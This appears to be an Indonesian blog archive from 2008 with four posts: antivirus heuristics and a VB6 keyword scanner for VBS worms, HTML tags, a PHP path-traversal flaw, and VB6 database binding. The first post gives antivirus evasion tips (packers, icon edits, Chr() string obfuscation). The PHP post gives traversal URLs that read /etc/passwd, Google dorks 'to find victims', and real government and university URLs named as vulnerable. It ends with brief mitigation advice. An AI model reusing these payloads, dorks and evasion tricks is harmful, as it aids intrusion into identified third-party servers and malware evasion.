Rabu, 23 Januari 2008

Apa dan Bagaimana : Teknik Heuristik Pada Antivirus


Apa dan Bagaimana : Teknik Heuristik Pada Antivirus
Oleh Fajar
Teknik heuristik merupakan teknik yang dipakai antivirus untuk mendeteksi keberadaan virus2 baru atau yang belum terdapat di signature antivirus tersebut. Bagaimana caranya? Tentunya setiap antivirus memiliki cara sendiri2. Kita ambil contoh antivirus (yang lokal2 aja ya..) Ansav +E Advanced 1.7.8 (ga tau klo ada versi barunya) , av ini mengusung "Advanced Ansav Heuristic Engine". Pada AAHE ini, Ansav akan mendeteksi suatu file sebagai ancaman dengan dengan membandingkan suatu signature dengan entrypoint/PE Header pada body file. Yah kurang lebih begitu. Sedangkan pada PCMAV rc23, heuristik andalannya yaitu dengan mengecek jika suatu file mempunyai signature suatu icon tertentu. Maksudnya jika kita membuat program yang mengandung icon folder (baik sebagai icon file atau resource) maka PCMAV akan menganggap file tersebut sebagai ancaman.

Namun teknik-teknik heuristik tersebut dapat dilewati/ heuristic bypassing dengan mudah, misalnya pada Ansav, kita dapat memakai program packer2 yang tidak terdapat di "database" heuristiknya Ansav. Sedangkan pada PCMAV, ya.. paling gampang tinggal ga pake icon2 yang dianggap ancaman (icon folder, word dsb) atau mengubah struktur body icon memakai program hex editor (namun hati2 biar icon ga berubah gambar)

Pada kesempatan ini saya akan membahas teknik heuristik untuk mendeteksi worm VBS. Ini karena penasaran sama PCMAV yang selau aja jitu menebak VBS worm. Ceritanya ketika teman saya minta bersihiin virus, truz ternyata terdeteksi sebagai worm oleh antivirus luar di pc saya, iseng pengen nyoba kehebatan antivirus saya tersebut, saya mencoba mengenkripsi worm tersebut, dimana tulisan "Scripting.FileSystemObject" saya enkripsi menjadi Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(105) + Chr(110) + Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) + Chr(99) + Chr(116)

Tadaaa... ternyata antivirus saya tidak mampu mendeteksinya... Kemudian teringat PCMAV (soalnya pernah baca diweb resminya klo PCMAV punya heuristik canggih buat mendeteksi file VBS). Pas discan pake PCMAV ternyata terdeteksi. Ya udah saya enkripsi semua string. Ehhh ternyata masih terdeteksi... hebat2... ini antivirus punya paranoid heuristik Setelah saya teliti2 hampir seribu detik, ternyata heuristiknya PCMAV yaitu dengan mendeteksi beberapa tulisan yang tidak mungkin tidak dipakai oleh suatu worm, yaitu salah satunya kombinasi command "CreateObject" dan "wscript.scriptfullname". Tulisan ini gimana ya enkripsinya?? soalnya tipe tulisan ini bukanlah string, melainkan command internal pada VBS. Klo di Delphi command2 mungkin bisa dienkripsi,itu mungkin juga cuma command2 yang memakai API misalnya "UrlDownloadToFile" dimana memanggil dari file urlmon.dll. Yah main2in memory (GetProcAddress).

Tapi, saya ga akan membahas bagaimana caranya heuristic bypassing, malez bo klo banyak virus canggih, ntar klo ada cewek minta tolong saya bersiin pcnya dan saya ga bisa kan.. giiitu dech... Ok.. lanjut, kita kita akan bikin program dasar untuk mendeteksi worm VBS.

Yang kita perlukan adalah VB6 dan :
Komponen dan nama

TextBox : Text1

CommandButton : Command1
CommandButton : Command2
CommonDialog : CommonDialog1

Pada Command1 isikan :

CommonDialog1.Filter = "VBS File (*.vbs)|*.VBS"
CommonDialog1.ShowOpen
If CommonDialog1.FileName = "" Then Exit Sub
Text1.Text = CommonDialog1.FileName

Pada Command 2 isikan :

Vbs_Checker Text1.Text

Kemudian buat fungsi sebagai berikut :


Public Function Vbs_Checker(ByVal target As String)

If target = "" Then Exit Function
If Dir$(target) = "" Then Exit Function

On Error Resume Next

Open target For Input As #1
While EOF(1) = False
DoEvents

Line Input #1, maltext
maltext = " " & maltext
maltext = LCase(maltext)

If InStr(maltext, "createobject") > 0 Then GoSub warning
If InStr(maltext, "regwrite") > 0 Then GoSub warning
If InStr(maltext, "wscript.scriptfullname") > 0 Then GoSub warning
If InStr(maltext, "ActiveDocument.Shapes.AddOLEObject") > 0 Then GoSub warning

Wend

Exit Function

warning:
MsgBox "Suspected command : " & maltext, vbExclamation, "Warning"
Return
End Function


Seharusnya kode2 di atas self explained, tapi saya jelasin lagi deh buat pemula kaya saya. Inti dari program tersebut yaitu membaca file VBS yang kita pilih dan membandingkan isi file VBS dengan tulisan tertentu, misalnya "createobject". Jika ketemu tulisan tersebut maka keluar peringatan.

Sekali-lagi, kode2 di atas hanyalah konsep untuk mendeteksi worm VBS. Mungkin lebih baik dengan membandingkan lebih dari satu kata untuk mencegah indikasi false alarm.

Demikianlah (kaya nutup pidato aja), mudah2an ada manfaatnya buat yang baca.
Trims.


Fajar :: anggiawan.web.id
Love to :
- teman2 ku di eks unpad dan marnat
- para av maker lokal

Hate to :
- pengimpor kondom impor bekas
- penjual kondom impor bekas
- pemakai kondom impor bekas
- pkoknya yang nyalahgunain kondom bekas.

Selasa, 22 Januari 2008

Computer Out Put


Oleh Ani

Seperti judul diatas kita kan membahas computer output contoh ini mendemostrasikan bagaimana tag "computer output" akan ditampilkan


Setelah anda mengerti compuet output saya akan membahas Alamat.Alamat merupakan salah satu elemen yang umum didalam suatu dokumen.Dengan adanya tag ini maka penulisan alamat dapat distandarkan.Contoh ini mendemonstasikan bagaimana menulis sebuah alamat dalam sebuah dokumen HTML


hari ini kita sampai disini dahulu, semoga berguna,Bagi yang sedang mengalami nasib yang sama dengan saya ( Lagi UAS ), moga-moga anda dapat mendapat nilai yang terbaik dan ketahuilah bahwa contek itu korupsi yang paling mudah untuk dilakukan tapi susah untuk tidak dilakukan jadi jangan lakukan yah

Senin, 21 Januari 2008

PHP download script vulnerability


PHP download script vulnerability
Oleh tomplixsee

Sebenarnya saya bingung mau memberi judul apa pada artikel ini. Maaf bila judulnya agak kurang pas dengan isi artikelnya
PHP adalah suatu bahasa pemrograman web yang cukup sakti yang kehandalannya tidak diragukan lagi. Tapi,adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.
Salah satu contohnya adalah :
//download.php
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );
?>
Kode php diatas memiliki kelemahan yang fatal, dimana variabel “file” sama sekali tidak difilter, sehingga hacker akan bisa mendownload file apapun yang ada di server tersebut. Misalkan saja sang hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.
Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.
Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.
Beberapa contoh situs yang vulnerable adalah:
http://www.mpbp.gov.my/download.php?file=download.php
http://elearning.mmu.edu.my/download.php?file=download.php
http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd
http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd
Adapun sedikit hal untuk pencegahan adalah:
1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “”, atau type file yang boleh didownload.
2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.
terimakasih

By tomplixsee
Thanks to:

Ira, teman2 kosku

Minggu, 20 Januari 2008

New Vb


Hari ini kita akan membahas koneksi visual basic ke databases, kita mulai dari yang gampang terlebih dahulu dengan menggunakan data. cobalah temen-temen buat sebuah database dengan nama coba dengan menggunkan acces. Buatlah table seperti dibawah ini
field name Data type field size
Kode text 6
Nama text 50
Lalu simpanlah dengan nama coba1, setelah itu tutup accesnya lalu buka vb dan buat seperti dibawah ini:

hari ini kita tidak belajar coding, tetapi minggu depa sudah pasti kita belajar coding , cobalah kalian ikuti langka dibawah ini:
1.Pada Propertis data kalian klik cari connect pilih acces lalu pada database name masukan databases yang tadi kalian buat
2.Kemudian carilah recordsource lalu diganti dengan nama table yang kalian buat
3.setinglah dua textbox diform dengan merubah setingan yang sama dengan diatas maka anda sudah dapat membuat data yang di text box masuk kedalam database